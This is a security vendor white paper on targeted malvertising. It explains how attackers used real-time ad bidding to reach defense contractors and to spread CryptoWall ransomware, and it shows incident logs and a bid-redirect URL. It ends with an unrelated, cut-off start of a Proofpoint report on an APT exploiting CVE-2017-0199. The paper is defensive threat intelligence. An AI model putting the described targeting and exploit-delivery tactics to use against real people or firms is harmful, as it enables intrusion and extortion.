Since these attacks were blocked by Invincea prior to compromise of the machine or network, we cannot confirm the specific IP the perpetrators are after  only the Tactics, Techniques, and Protocols (TTPs) used which we describe herein, similar to methods used to provide backdoor access and command and control over compromised networks.
While we discovered these attacks across multiple Defense companies, we expect it will not be long, if not already, before other highly targeted segments including Federal, Financial Services, Manufacturing, and HealthCare are victimized with the same micro-targeted malvertising.
The campaign described here does not represent a single flaw, 0-day, or unpatched bug, but rather a significant development in the adversarys capabilities and strategy to leverage legitimate online advertising platforms on well-known ad supported websites via a technique called Real-Time Ad Bidding.
In other words, this problem will not be patched on Tuesday.
UPDATE: We have updated this document to include a new section on a campaign of distributing CryptoWall ransomware via malvertising.
While the attack vector is the same, we believe this to be motivated by cybercrime rather than theft of IP from Defense companies.
3 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 Introduction Malvertising has seen meteoric rise in 2014.
Threat actors create a corporate front, advertise on commonly visited sites, then later switch out the landing pages for their ads to pages that host exploit kits, or simply create a temporary redirection from their usual content to the malicious landing page.
These exploit kits are hosted on compromised web servers across the world.
In other words, they leverage legitimate ad-supported popular websites together with compromised websites for hosting exploit landing pages, defeating black-listing techniques.
The lifetime of these ads and landing pages are measured in hours.
In the campaign described here, Operation DeathClick,  traditional malvertising has been armed with a micro-targeting system using IP address ranges, geographically narrowed down to zip codes, and interests of the user (recorded in cookies) to target specific companies, company types, and user interests/preferences.
They are employing the tactics of real-time ad bidding to guarantee malicious ad delivery to intended targets of the campaign  building on a decade of work in real-time analytics for online ad placement, but for nefarious purposes.
The threat actors redirect their ads for just minutes at a time and then abandon their exploit kit pages forever.
This means that list-based threat intelligence feeds are rendered ineffective.
The domains used do not appear in any proxy blacklist, and the malware droppers delivered by the exploit pages always employ different signatures, evading traditional network and endpoint detection technology.
Ad delivery networks today are not incentivized to address the problem in a credible manner as they derive revenue from the criminal enterprise, while not being held accountable.
Turning a blind eye to the problem is rewarded economically.
Meanwhile the perpetrators are able to use traditional malvertising and ad fraud bots to fund the criminal enterprise.
Without cooperation of ad networks to vet the advertisers working through front companies, this attack vector will go unchecked.
And now, with the advent of real-time ad bidding, these threat actors have weaponized ad delivery networks to target victims based on: User-Agent strings (versions of flash, OS, java and browser) Interest-related content (click bait articles, industry specific software or hardware, like medical supplies, radar mapping software, ammunition sales, stocks forums) Advertising Profiles derived from cookies (someone with specific tastes, may shop for shoes, handbags, cars, luxury vacations) Geographic region (malvertisers can target specific neighborhoods or states via geoip direct advertising) Specific corporate IP ranges (targeted malvertising can target the public IP space of your network or an Industrial Vertical) 4 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 Real-time ad bidding allows advertisers, and by extension, adversaries, to micro-target ad delivery on an extremely granular basis.
For example, oppressive regimes trying to gather intelligence on activist protests can deliver ads to people getting email from within a specific locality where they are protesting.
Today, it is commonplace for micro-targeting techniques to be used as part of the toolset in legitimate online advertising.
For instance, a defense contractor, trying to win a new omnibus contract, can deliver targeted ads to online news sites frequented by Government program personnel.
The latest software product release can be delivered to Windows users visiting PC Magazines website.
A local car dealership can sense when someone is in the market for a new car and can deliver advertising to those users, based solely on browsing history.
Now advanced threat actors are able to target an organization directly via micro-targeted malvertising, based solely on their corporate network IP range.
Thus, it doesnt matter where in the world you point your web browser -- an online video poker room, a fantasy football club homepage, a Pakistani news homepage, or even checking your own webmail at a trusted email provider.
Those ad windows can and are being used to deliver malware if the bidding price is right.
Operation DeathClick: Targeting the US Industrial Base Recently, multiple US Defense/Aerospace contractors were targeted by a malvertising campaign.
These contractors had deployed world-class enterprise security defense in depth approaches to protect their intellectual property.
They had next generation firewalls that relied on threat intelligence feeds to do auto-blocking of known malicious sites.
They had malware interception technology that relied on known bad hashes to prevent malicious downloads.
The multiple proxies in place subscribed to real time feeds of known bad URLs.
They deployed AV at the gateways and on the endpoints.
But in a two week period, these organizations were hit with dozens of micro-targeted malvertising attacks, each of which would have provided a beachhead for the threat actors from which to compromise the network, if successful.
In each instance, the attacks were carried out by targeting these Defense contractors directly via real-time ad bidding.
Once targeted, an end user only needed to browse to any website, anywhere in the world, which contained a DoubleClick ad-partner embedded window.
Invincea stopped these attacks on the endpoints by containing the delivered exploits in secure virtual containers, while producing the forensics that led to this discovery.
Next we go in some detail about example attacks perpetrated against the defense firms.
It is important to note that the websites we show next that served up targeted malvertising were victims of malvertising campaigns with no knowledge of the malicious ads they were serving up.
These malicious ads were served up by 3rd party networks, who are unwittingly sourcing malicious content.
As we will discuss later, the 3rd party ad networks themselves are falling victim to malicious content campaigns.
Summary for Incident at Fleaflicker.com 5 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 A user visited his online fantasy football league homepage at Fleaflicker.com.
As soon as the page loaded, a malicious ad delivered a backdoor Trojan via a Java-based exploit.
Figure 1 shows a screenshot of the page that was visited.
You will notice the two inline ad placements for DoubleClick ad delivery.
The malware delivered came from a compromised Polish website, and would have installed a generic backdoor Trojan.
Figure 1: Fleaflicker.com website Note the prominent ad placements by AdChoice, a DoubleClick affiliate.
Figure 2 shows an event tree of the exploit and malware delivered from an ad by visiting Fleaflicker.com.
6 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 Figure 2: Event tree for infection from Fleaflicker.com Incident The event tree in Figure 2 taken from Invinceas Threat Management Console shows the exploited Java process dropped a file called fvJcrgR0.exe, and that it likely came from Pubmatic, an ad delivery network that allows for real time bidding to deliver ads.
In this instance, the Pubmatic server redirected to a Web server in Poland that dropped the malware.
The timeline below shows the exact times and URLs visited.
Figure 3: Timeline for Fleaflicker.com Incident Note the number of re-directs from Fleaflicker.com to different outside properties in Figure 3.
7 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 Figure 4: Process Launch for Malware fvJcrgR0.exe from Fleaflicker.com Incident Invincea Threat Management provides a quick way to search for an MD5 hash on third party sites (see Figure 4).
By clicking the VirusTotal link, the analyst will see the following VirusTotal report in Figure 5: Figure 5: VirusTotal Report for Malware fvJcrgR0.exe from Fleaflicker.com Incident 8 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 From the VirusTotal report in Figure 5, you will see that this malware is a Trojan backdoor that would likely be used to download additional malware or to provide remote persistent access to the attacker.
9 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 Summary for Incident at Gpokr.com An employee at a defense contractor visited a free Texas Poker online game.
The Poker site had advertisements on the page, one of which launched a similar attack as seen in before on other websites visited by employees at this firm.
Figure 6: Screenshot of Gpokr.com It should be noted that Gpokr.com no longer appears to be serving advertisements from their site.
At the time of the incident, as seen in the logs below, an ad window was previously present.
In the event tree shown in Figure 7, you will see that the winning bid redirected to a direct-to-IP site instead of a site via domain name.
Also, above is the first indication of specific executable DLL files.
Searches for these filenames returned zero results on VirusTotal.
10 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 Figure 7: Event Tree for Gpokr.com This event on September 14 (Figure 8) shows that delivery.first-impression.com redirected directly to an IP address, not a domain name to deliver its malicious payload.
Note the multiple DLL files written to disk and the spawning of rundll32.exe.
At this point, the Invincea-protected host recognized the unauthorized process and reverted itself to a clean state.
Figure 8: Timeline View for Event 5  Gpokr.com 11 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 Summary for Webmail.earthlink.net In another incident an employee checked their online Earthlink account.
When they replied to an email, a new ad was loaded on a page that attempted to exploit Java.
This malvertising was from the same IP address seen in other incidents.
Figure 9: Screenshot of Webmail.earthlink.net You will notice the inline advertisements on this page in Figure 9.
The event tree in Figure 10 notes that this was likely a spear-phish attack.
The timeline will show that when the user replied to an email, the ads on the Earthlink page refreshed, dropping the exploit code via Java.
12 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 Figure 10: Event Tree for Incident 6 Webmail.earthlink.net Note in the timeline in Figure 11, how there was a 7 minute gap between the DoubleClick ad redirect and the delivery.first-impression.com ad.
This is an indication that the page was refreshed or the ad was refreshed on the page.
The same exploit IP address from the Gpokr event is present.
This event is the oldest, happening on September 11.
Figure 11: Timeline for Incident 6 Webmail.earthlink.net 13 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 Summary of Incidents in Operation DeathClick The three examples above are samples of the more than two dozen micro-targeted attacks we have witnessed and blocked as part of Operation DeathClick since mid-September.
Defense Industrial Base customers witnessed micro-targeted malvertising at a rate six times that of comparable private sector companies with similar defense-in-depth capabilities.
Real-Time Bidding Networks: How it works We observed in Operation DeathClick that real-time ad bidding networks are being used by criminal enterprise to target companies with malicious content in order to gain persistent remote access.
In these third-party arrangements, the content is frequently not vetted because billions of impressions are rendered in real-time.
Most of the content is legitimate ads.
A small fraction is malicious content linking to landing pages that infect users.
Real-time ad networks are being used, often unwittingly, and some have taken steps to try and combat malicious use of their networks.
The Online Trust Alliance is one such industry group comprised of major software companies and ad networks working together to try and address this problem.
Our goal in this paper is to shed light on the micro-targeting of companies by criminal enterprise employing real-time ad networks, and to aid the industry in collectively addressing this problem.
Real-time ad bidding networks have evolved over the last ten years as a means of micro-targeting customers with advertising content they are more likely to click-on.
From Wikipedia: Real-time bidding (RTB) refers to the means by which ad inventory is bought and sold on a per- impression basis, via programmatic instantaneous auction, similar to financial markets.
[1] With real-time bidding, advertising buyers bid on an impression and, if the bid is won, the buyers ad is instantly displayed on the publishers site.
[2] Real-time bidding lets advertisers manage and optimize ads from multiple ad-networks by granting the user access to a multitude of different networks, allowing them to create and launch advertising campaigns, prioritize networks and allocate advertising stock.
Real-time bidding is a dynamic bidding process where each impression is bid for in (near) real time, against a static auction where the impressions are typically bundled in groups of 1,000.
A typical transaction begins with a user visiting a website.
This triggers a bid request that can include various pieces of data such as the users demographic information, browsing history, location, and the page being loaded.
The request goes from the publisher to an ad exchange, which submits it and the accompanying data to multiple advertisers who automatically submit bids in real time to place their ads.
Advertisers bid on each ad impression as it is served.
The http://vimeo.com/10084328 http://en.wikipedia.org/wiki/Real-time_bidding http://en.wikipedia.org/wiki/Real-time_biddingcite_note-adfonic-1 http://en.wikipedia.org/wiki/Real-time_biddingcite_note-dmnews-2 14 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 impression goes to the highest bidder and their ad is served on the page.
This process is repeated for every ad slot on the page.
Real time bidding transactions typically happen within 100 milliseconds from the moment the ad exchange received the request.
The bidding happens autonomously and advertisers set maximum bids and budgets for an advertising campaign.
The criteria for bidding on particular types of consumers can be very complex, taking into account everything from very detailed behavioral profiles to conversion data.
The following infographic summarizes how advanced adversaries are now micro-targeting companies using malvertising.
15 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 16 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 Malvertisers have Weaponized RTB The marketplace and auction of ads sounds great for actual ads.
But what if the landing pages that are supposed to be ads are actually malicious PHP pages with embedded malware?
The bidding and ad placements work the same, but instead of seeing a flashy ad banner, the highest bidder for the placement serves malware.
The price to win the bid to push malvertising to any page you happen to visit ranges from 45 to 75 cents per impression.
A malicious advertiser on a network may serve crafted, seemingly normal ads, a majority of the time.
In fact, the ads are often stolen copies from legitimate advertisers.
This establishes the attackers legitimacy and trust on the ad network.
Of course with real-time ad bidding, he can simply offer up low bids and his content would consistently lose in the marketplace.
But it is very simple to replace the redirection code to switch from a legitimate ad banner to a drop site that hosts an exploit kit, typically based on Java, Flash, Silverlight, or all three.
Once the malvertiser detects that he has several infected hosts, he removes the redirection code and goes back to serving standard ad banners.
He then burns his temporary exploit kit drop site, moving his exploits to another location for a new campaign.
This allows the malicious advertiser to perform hit and run attacks, infect whomever he wants at whatever time he wants, and maintain his presence on the advertising marketplace without drawing undue attention to his activities.
In the sections below, we will provide highlights of the RTB industry, its targeting capabilities, and show how malvertisers have been mis-appropriating RTB networks to deliver malware.
Competitive Service Offerings for RTB The RTB ad networks provide significant micro-targeting capabilities that have long been used to serve legitimate content to users more likely to click on them.
In the following, we describe these capabilities to show the state of the art in RTB network capabilities.
The quoted material below are direct quotes from Real Time Bidding service providers linked.
Emphasis added by Invincea.
Pubmatic: Audience Targeting: Bid on the audiences most valuable to you.
Each impression in the PubMatic auction can be enhanced with first- and third-party data giving buyers targeting capabilities across display, mobile, tablet and video inventory.
Media buyers can also cookie sync with publisher audiences to incorporate CRM, retargeting and exclusion strategies in their digital advertising.
Buyers have access to proprietary audience segments either directly through Private Marketplace deals or through the open market.
With hundreds of parameters available to you, PubMatic has your best audiences waiting for you.
http://www.pubmatic.com/media-buyers-inventory-and-audiences.php 17 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 With PubMatic, buyers are able to access pre-defined vertical or audience packages, seasonal packages, publisher and/or site-specific inventory packages as well as pre-selected publisher packages and pricing available in Private Marketplaces.
First-Impression.com First-Impression Buy-Side offers the granular targeting, tracking, and reporting needed to help our clients make the most of their spend, along with an expert support team to advise when needed.
By leveraging real time buying, First-Impression Buy-Side gives media buyers the full control to maximize the value of an impression.
Could Malvertisers Track Exploits and their cost per impression?
Yes.
Many RTB networks provide a control panel to track advertising campaigns in real-time, along with notifications that bids have been won and who exactly was served the malware.
Below is a URL redirection log from First-Impression.com from a winning bid by a malvertiser.
In the URL are parameters such as the type of ad, the type of user-agent string of the ad reader specified (which discloses browser and java versions), whether it is a retargeted ad based off of cookies (this one was not), the price paid, which is 65.4 cents, and the notification to the malvertiser that his malvertising was delivered.
http://delivery.first- impression.com/delivery?actionservessp_id3ssp_wsid2191400908dssp_id100domain_ id2191400908ad_id748271margin0.4cid155380bnsj14ip_addr24.234.123.133ua15 40937276top_level_id24.234.123.133second_level_id1540937276pagethanhniennews.co mretargetednullheight90width728idfanullandroid_idnullandroid_ad_idnullbi d_price0.654count_notify1win_priceAAABSMPg1dmFEPqXEZe5_CYviub3uOlabldGew DoubleClick.net DoubleClick discusses their targeting capabilities in online documentation.
Since they specialize in knowing the location of their ad windows, they market those ad spaces to the actual advertisers and malvertisers, along with targeted demographics about the content pages, the visitors to the sites and more.
To showcase the variety of impression-level data available to buyers, consider the data made available through a connection to DoubleClick Ad Exchanges real-time bidding API.
With ADX, a buyer could consider any of the following data passed from the seller with each impression: Ad slot parameters: visibility (above or below the fold), size, excluded creative attributes, excluded advertiser URLs, allowed vendor or ad technology.
Geo parameters: country, region, metro, city.
Content parameters: site URL, site language, seller network, vertical or category.
http://first-impression.com/home/ 18 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 User parameters: browser, operating system, anonymous cookie (hashed), cookie age.
Just like when considering one type of data, by using the anonymous cookie parameter, buyers can consider first-party retargeting or third-party audience data from a data provider.
However, they can go further in the evaluation by looking at more of these parameters.
This helps a buyer learn much more about a particular user and a particular impression, gain a smarter answer to the three essential questions and make a more data-driven decision.
Twitter, Facebook and other RTB ads can now target mobile devices by their phone numbers.
This sounds like a great way to advertise if you are in the marketing industry.
Consider how granularly a person can be targeted if this service is used maliciously.
If not targeted by the desktop, how about on the mobile platform?
Twitters Tailored Audiences just got a little more tailored.
Advertisers can now augment their customer data using mobile advertising IDs and mobile phone numbers as a way to reach existing customers and increase audience size.
In essence, the move is an extension of Twitters Tailored Audiences for CRM retargeting, which allows advertisers to use hashed non-PII email address to retarget existing customers.
(
email addresses are twitter IDs- so you could be targeted for ad delivery based on your account name or known phone number) Twitter also rolled out the ability to target lookalike audiences, a function that seems pretty similar to Facebooks tool of the same name.
Twitters lookalike modeling uses a proprietary algorithm that examines modeled users looking for similarities related to behaviors, interests, location, demographic attributes and engagement patterns.
Twitter described its enhanced as part of improved targeting options to help advertisers reach additional users similar to their existing audiences.
Tailored Audiences, Twitters seeming answer to the Facebook Exchange (FBX), officially launched back in December after running retargeting and database matching tests in July.
Twitter has appeared to follow Facebooks lead with a number of its recent roll-outs, including site retargeting, CRM targeting and now retargeting via lookalike audiences.
(
Facebook also makes it possible to target users by phone numbers through Custom Audiences.)
Neustar.biz Neustar does provide a real-time bidding ad exchange, but their real market is IP intelligence that they sell to other advertising networks for the purposes of better targeting specific users.
In Europe, laws require that advertising networks allow people to opt out of having tracking cookies, which is how many advertisers used to rely upon for ad campaign targeting.
To get around this, Neustar perfected IP based targeting, which avoids cookies.
They are able to build IP specific browsing profiles based on IP subnets.
In a blog post below, Neustar boasts about their direct to IP range and enterprise advertising.
http://www.adexchanger.com/social-media/twitter-rolls-out-lookalike-audiences-new-mobile-ad-ids-targeting-by-phone-number/ http://www.adexchanger.com/social-media/twitter-rolls-out-lookalike-audiences-new-mobile-ad-ids-targeting-by-phone-number/ http://www.neustar.biz/resources/faqs/display-advertising 19 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 How can Neustar IP Intelligence target by IP?
While IP intelligence has been around for many years, the ability to effectively target advertising by audience, based on IP is very new.
Neustar IP Intelligence is currently working with select DSP platforms to buy impressions off of the exchanges based on the IP address rather than cookies.
This has only been possible with the recent emergence of real time bidding (RTB).
The secret sauce is in understanding the IP and the methodology necessary for targeting ads appropriately against it.
Is an IP Address like a cookie?
No, an IP address only identifies devices on a network.
The IP address does not contain any PII and does not track or store any consumer usage or behavioral information.
(
But IP ranges are registered by IANA, and you can easily know who owns the ranges) Product Specific Questions Q1: How does the process work?
The process works exactly like any advertising network.
Instead of buying inventory based on a cookie, Neustar is buying inventory based on an IP address.
We run the targeting specifics against our proprietary database and create a custom IP list to target against.
Neustar has set up relationships with partners that have built the functionality for this to work end-to-end for our advertisers.
Neustar offers a full service ad network.
Brand marketers who wish to advertise using IP Audience Targeting can work directly with Neustar to determine custom IP placements, run campaigns, optimization, reporting and billing.
Much like any traditional online publisher or online ad network, Neustar manages the entire process.
How does Neustar deliver its ads?
We use industry standard methods for delivering our ads, but what makes our approach special is that we bake in the IP data before delivering the inventory with our network partners, which allows us to target display ad campaigns to a specific business or organization.
We obtain inventory from ad exchanges, but have our own ad server.
Zedo Zedo, blamed for recent malvertising via DoubleClick, say they are now trying to protect against malvertisers in this blog here.
Less than a week after this announcement, they published another blog post that describes how they can push advertising to specific platforms, devices, as well as specific markets and networks: ZEDO Advertising Technology Updates  September 2014 Device Targeting Users can now target ads to a specific device when trafficking ads.
An option for Device Targeting is now available under Targeting.
A creative targeted to a specific Device will serve only on that Device.
All major manufacturers/models are supported by this feature.
If a creative is not targeted to any specific device than it will serve on all device.
http://www.zedo.com/news/zedo-takes-immediate-action-stem-malware-attack/ http://www.zedo.com/news/zedo-takes-immediate-action-stem-malware-attack/ http://www.zedo.com/zedo-advertising-technology-updates-september-2014/ 20 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 Figure 13: Targeting by Device Manufacturer/Model Apart from device, a user can target various devices based on different categories.
At any given point of time, a user can target multiple manufacturers and categories.
Figure 14: Targeting by Device Category Reach Report by Creative Apart from existing campaign reach report a user can now pull a reach report by creative.
The creative reach report is available along with all the existing parameters and can be pulled by month, week or day.
Creative reach report will show creative wise reach.
It will help to analyze how effective the reach of a creative was.
Major Players in RTB 21 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 To be clear, RTB networks are legitimate platforms for displaying ads on ad-supported websites.
They enable micro-targeting of users interest, delivering content that a viewer would likely want to see.
As we have detailed here, they can also be mis-appropriated unwittingly by malvertisers using these same tools and techniques to target companies with malware for persistent remote access in addition to traditional click fraud, phishing, and identity theft.
Below are links to RTB providers to learn more.
http://www.sovrn.com/ http://www.turn.com/ http://indexexchange.com/ https://www.dataxu.com/ http://www.sitescout.com/rtb/ http://first-impression.com/home/ http://www.zedo.com/ How Malvertisers Get  to Bid on RTB Invincea has shown logs from a winning malvertising bid in the price range of 65 cents per impression.
That is one ad, on one page, paid for by the malvertisers account.
This implies that malvertisers have deep pockets, spending hundreds of dollars on ad impressions.
So how do they get money to spend on these malicious campaigns?
Invincea recently saw a malvertiser win a bid and delivered a Java exploit.
This exploit copied a fully functional version of Chrome into the Java cache directory, and that version of Chrome launched in the background and proceeded to visit websites and click on specific ad banners.
It is presumed that these ad banners paid revenue via referral bonuses to the malvertiser.
By paying 65 cents to install a background web browser that does nothing but click fraud, the malvertiser is able to reap hundreds if not thousands of dollars in advertising referral income.
It is a pretty good return on investment, which in turn allows the malvertiser to fund his micro-targeted malvertising attack campaign.
It is ironic, however, that click fraud is what is driving the prices of RTB advertising so high.
Malvertising is not only a danger to end users, but it is a danger to the advertising industry as well.
The image from Figure 14 below shows a log file of Chrome, in this instance, renamed Oajvliewxpge.exe, injected via Java to run in the background.
Invincea detected this attack and killed the infection attempt.
This is one instance where the malvertiser wasted his 65 cents.
http://www.sovrn.com/ http://www.turn.com/ http://indexexchange.com/ https://www.dataxu.com/ http://www.sitescout.com/rtb/ http://first-impression.com/home/ http://www.zedo.com/ 22 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 Figure 16: Event tree of click fraud malvertising exploit It should be noted that Invincea is uniquely capable of stopping this type of attack.
The introduction of Chrome as a browser, which is whitelisted by hash across the AV industry, would go unchecked by the AV and whitelisting applications industry.
In this instance, the host was almost converted to a click-fraud bot.
But the malware delivery could have been intended for data exfiltration, banking Trojans, or any other more insidious purpose.
Where Malvertisers Host Exploits The ability for advertisers and malvertisers to automatically redirect to self-hosted ad content or exploit pages is driving RTB malvertising.
Invincea has witnessed a rash of exploit kits and landing pages hosted on: Compromised WordPress Blogs 23 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 Unconfigured Apache hosts Cloud-based NGINX subdirectories Government and News pages in Poland Free Hosting sites such as ua.in In most instances, the landing pages are preconfigured with the exploit kit.
The malvertiser creates the redirection in his normal ad prior to raising his bids to winning levels.
Once several victims are confirmed, those malicious landing pages have the content erased, and the automatic redirection removed to serve normal ads again.
Real World Examples of RTB Malvertising Captured by Invincea Figures 17 through 21 in the following are screenshots from Invinceas Threat Management console from various RTB-based malvertising incidents with highlighted URLs for malvertising delivered via RTB ad bidding.
Figure 17: Recent Blaze.
Com RTB Kryptik malvertising via GumGum Figure 18: Online Ammunition Forum had RTB malvertising delivered.
Exploit landing page in In.ua.
24 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 Figure 19: Largest Trading Online Forum Trade2Win.com delivered RTB malvertising via German provider: Figure 20: Answers.com click bait articles hosted winning RTB bids dropping Kryptik from Polish government landing page exploit kits.
25 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 Figure 21: Online Poker Room and targeted RTB attack against Defense Contractor.
Java exploit hosted at unconfigured Nginx host.
26 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 Ransomware Campaign via Malvertising In September and October of 2014, Invincea saw a sharp spike of malvertising delivering CryptoWall ransomware attacks via Real Time Ad Bidding.
We observed Real Time Ad bidding platforms, including OpenX, GoogleAds, Yahoo, AOL, and first-impression.com, fall victim to the ransomware malvertising scheme by unwittingly delivering the CryptoWall 2.0 ransomware ads.
Ransomware is a particularly pernicious form of malware that fully encrypts the victims disk and data files, including remote storage, then demands payment of anywhere from 300 to 1000 in return for the decryption key.
Users are held hostage from their own work, pictures, personal, and proprietary material.
To learn more about the scourage of ransomware, see this blog.
Based on analysis of Invincea logs in would-be victims targeted by these ads, we have insight into the attacker that is delivering the malicious ads.
According to Invincea analysis of ads delivered from first- impression.com, winning ad bids ranging from as low as 30 cents and as high as 1.70, were delivered by a block of unique identifiers.
It is highly likely that the same attackers are using other RTB ad platforms.
This campaign matches the characteristics described by Proofpoint in its blog in terms of the exploitation methods.
Legitimate ad copy is stolen, 3rd party ad networks used to distribute malware, and popular ad- supported websites displaying the malicious ads that exploit unsuspecting visitors with drive-by web exploits.
Merely visiting any ad-supported site may result in a CryptoWall ransomware infection.
Cryptowall 2.0 utilizes the TOR network to hide its communications, but it quickly encrypts all local files on the disk, and demands bitcoin payment to unlock the files.
Many companies have fallen prey to this attack over the past few months, making this one of the most successful Ransomware campaigns to date.
https://www.linkedin.com/pulse/article/20140702135307-262891-why-ransomware-will-be-a-game-changer-and-what-to-do-about-it?trkmp-details-rc http://www.proofpoint.com/threatinsight/posts/malware-in-ad-networks-infects-visitors-and-jeopardizes-brands.php 27 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 Analysis of CryptoWall Malvertising Infections Mitigated Infection Event Sports.
Yahoo.com Below is a typical Cryptowall 2 infection as seen in the Invincea Management Server logs.
This winning ad placement ran on sports.yahoo.com  an Alexa Top 4 rated site.
Highlighted in order in Figure 22 is the common filename of obupdat.exe, which has ever changing hashes, followed by the TOR port, and the 3rd party ad platform of first-impression.com.
Analysis (Original report): Figure 22: CryptoWall 2.0 infection report 28 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 Timeline Analysis (Original Report): Below in Figure 23 is the timeline of the Tor connections and SSL connections employed by CryptoWall.
Figure 23: Network connections from CryptoWall 2.0 29 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 In addition, you can see the ransom note being written to disk on an infected machine in the audit logs in Figure 24.
Figure 24: File writes including the ransom note from CryptoWall infection Figure 25 shows the winning malvertising bid via RTB ad delivery from first-impression.com.
Items highlighted in the URL below is userid, and the winning bid price to place malvertising of Cryptowall on sports.yahoo.com, which is 60 cents.
Figure 25: Winning malvertising bid with fields embedded in URL 30 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 In Figure 26 below, we show the unique identifiers for the userID and campaigns to deliver CryptoWall malware that were blocked and audited by Invincea, including the websites that delivered the ads via a third-party ad network over the past month.
userID, CampaignID and CommonName Website Delivering Malvertising 748568margin0.4cid155493bnwheelie Hotair.com 748568margin0.4cid155493bnwheeljack webmail comcast 748163margin0.4cid155330bnwheeljack   theblaze.com 748566margin0.4cid155493bnredalert sports.yahoo.com 746705margin0.4cid154897bndc16 (unknown) www.searchtempest.com 748480margin0.4cid155474bnredalert viewmixed.com 748600margin0.4cid155528bninferno rr webmail 748418margin0.4cid155453bninferno lucianne.com 748270margin0.4cid155380bnsj10 (skipjack) thanhniennews.com 748417margin0.4cid155453bnwheeljack mariowiki.com Figure 26: Malware campaigns delivered via 3rd party ad network and the websites that hosted the ads To reiterate, neither the websites listed here, nor the 3rd party ad network, necessarily was aware of the malicious ads they were serving to the website visitors.
It is likely they were not aware without ad screening technology.
In each event above, Invincea blocked an attempt to infect an endpoint with Cryptowall 2.0 and prevented CryptoWall from encrypting the users file system and holding it hostage.
Had the user not been running Invincea, the attack would likely have been successful, and the only way the user would have had to recover the encrypted files would be to pay the attacker the ransom.
This is an effective ransom technique, and one that is paying off well for the attackers, who use the income from the attacks to purchase Real Time Ad Bids on RTB networks to infect more users.
Central Hosting of Clean Content Most RTB ad providers allow for advertisers to host their own ad content.
This allows advertisers to directly collect web impression data of who is hitting which ads, from where, by which IPs, which user- agent strings, and just about anything else you could log about a website visit.
In addition, the advertising network doesnt have to utilize their own disk space to host the image files, the flash videos or other online content.
RTB networks simply do the auctioneering and redirection to the winning content.
31 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 It is this weakness in security that malvertisers are taking advantage of.
If ad networks were to switch to a model where all content is actually hosted by them (1st party hosting), in a cloud, then the risk of malvertising would drop dramatically.
The RubiconProject has a Sellers Cloud, which could be a security model for the RTB industry.
It is inherently more secure way of hosting ad content.
How to Protect Yourself  from Micro-targeted Malvertising Operation DeathClick is an active campaign to micro-target companies via malvertising in order to compromise their networks.
Unfortunately, the micro-targeting malvertising technique evades almost all network controls and traditional endpoint anti-virus solutions.
Invincea can protect users from this attack type among other targeted and opportunistic web-based threats.
For half the price of a candy bar, attackers have the unprecedented ability to deliver malware to you through your web browser simply because of your IP address space and your industry vertical.
Most of the attacks featured here were not detected by standard Anti-Virus because the malware hashes constantly change.
Web proxy blocking updates, even in real time, will not stop new malvertising landing pages that appear and disappear within minutes.
Intelligence feeds from the premier intelligence providers, based on hostname, IP, URL or domain will not be able to block malicious malvertisers quickly enough.
Invincea protected users can simply browse and click anything online without fear of compromise or targeted malvertising attacks.
Non-Invincea users can attempt to OptOut of directed targeting where you can.
European privacy laws for forcing most ad providers to offer the opt-out service however, you often have to visit each ad provider individually to choose to opt out.
http://www.rubiconproject.com/seller-cloud/ 32 Invincea White Paper Invincea, Inc.               Release Date: 10.27.2014 Note, that opting out merely places a blocking cookie in your browser.
This means that ad providers will not target or retarget based on cookies.
But as shown above, the new targeted advertising is via IP intelligence.
http://www.rubiconproject.com/privacy/consumer-online-profile-and-opt-out/ http://preferences-mgr.truste.com/ http://www.ghosteryenterprise.com/global-opt-out/ Release Notes 10/27: For clarification, Invincea has added additional notes in this version that the websites shown here and the 3rd party real-time ad networks are being used unwittingly and their resources misappropriated by malvertisers to target companies for persistent remote access, click fraud, and other nefarious activities.
This is not a reflection on these companies, nor the services they provide.
This paper highlights the problem for greater awareness so the industry collectively can combat this problem perhaps with more effective screening at the source prior to displaying ads.
http://www.rubiconproject.com/privacy/consumer-online-profile-and-opt-out/ http://preferences-mgr.truste.com/ http://www.ghosteryenterprise.com/global-opt-out/
APT Targets Financial Analysts with CVE-2017-0199 proofpoint.com /us/threat-insight/post/apt-targets-financial-analysts On April 20, Proofpoint observed a targeted campaign focused on financial analysts working at top global financial firms operating in Russia and neighboring countries.
These analysts were linked by their coverage of the telecommunications industry, making this targeting very similar to, and likely a continuation of, activity described in our In Pursuit of Optical Fibers and Troop Intel  blog.
This time, however, attackers opportunistically used spear- phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan, which in turn downloaded the PlugX Remote Access Trojan (RAT).
Proofpoint is tracking this attacker, believed to operate out of China, as TA459.
The actor typically targets Central Asian countries, Russia, Belarus, Mongolia, and others.
TA549 possesses a diverse malware arsenal including PlugX, NetTraveler, and ZeroT.
[1][2][3] In this blog, we also document other 2017 activity so far by this attack group, including their distribution of ZeroT malware and secondary payloads PCrat/Gh0st.
Analysis In this campaign, attackers used a Microsoft Word document called 0721.doc, which exploits CVE-2017-0199.
This vulnerability was disclosed and patched days prior to this attack.
